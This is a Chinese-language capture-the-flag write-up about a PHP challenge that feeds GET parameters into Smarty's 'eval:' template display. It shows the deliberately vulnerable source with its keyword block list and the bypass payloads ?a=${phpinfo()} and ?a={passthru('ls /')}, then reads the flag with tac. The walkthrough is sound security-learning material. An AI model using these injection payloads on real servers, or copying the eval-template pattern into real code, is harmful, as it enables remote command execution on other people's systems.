打开题目,提示输入参数
    image.png
    随便传入一个参数之后,网页中显示出源码

    1. pass a parameter and maybe the flag file's filename is random :> <?php
    2. include('./libs/Smarty.class.php');
    3. echo "pass a parameter and maybe the flag file's filename is random :>";
    4. $smarty = new Smarty();
    5. if($_GET){
    6. highlight_file('index.php');
    7. foreach ($_GET AS $key => $value)
    8. {
    9. print $key."\n";
    10. if(preg_match("/flag|\/flag/i", $value)){
    11. $smarty->display('./template.html');
    12. }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){
    13. $smarty->display('./template.html');
    14. }else{
    15. $smarty->display("eval:".$value);
    16. }
    17. }
    18. }
    19. ?>
    20. a

    程序过滤了flag以及一堆php函数,template.html中也没有什么信息。
    那么利用点只能在最后一个ifelse分支中。
    看到有个$smarty变量,里面是Smarty对象,猜想应该是Smarty的漏洞,但是查找了相关漏洞后发现并没有办法使用。
    最后看了大佬wp,才发现根本用不着漏洞,只是使用php复杂变量即可。
    传入?a=${phpinfo()},看到页面回显
    image.png
    那么接下来只需要绕过php函数的过滤,使用其他函数执行命令,经过一番查找,发现passthru符合要求。
    payload:

    1. ?a={passthru('ls /')}

    得到
    image.png
    第一个文件很可疑,使用tac命令读取后得到flag